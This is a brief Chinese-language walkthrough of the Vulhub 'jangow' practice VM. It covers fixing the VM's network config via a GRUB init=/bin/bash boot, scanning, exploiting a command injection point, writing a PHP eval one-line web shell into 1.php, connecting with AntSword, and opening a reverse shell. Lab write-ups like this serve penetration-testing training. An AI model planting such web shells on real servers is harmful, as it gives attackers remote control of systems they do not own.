Vulhub--jangow靶机攻略

1.搭建环境

部分vmware有配置问题，需要修改网卡信息，重启dhcp服务

在系统启动时(长按shift键)直到显示以下界面，选择第二个，按回车

在ro后面加 rw signin init=/bin/bash

按ctrl+x 保存

cd etc/network

vim interfaces

修改为ens33

保存就行，这里的：也按不了，所以我们在按完esc后按shift+？就可以输入：wq  重启靶机即可

2.扫描靶机ip

3.浏览器访问靶机ip

4.扫描敏感目录

依次访问

5.点击site目录查看

发现注入点，尝试输入whoami查看

6.尝试写入一句话木马

echo '<?php @eval($_POST["cmd"]); ?>' >> 1.php

访问查看是否传成功

7.蚁剑连接

8.反弹shell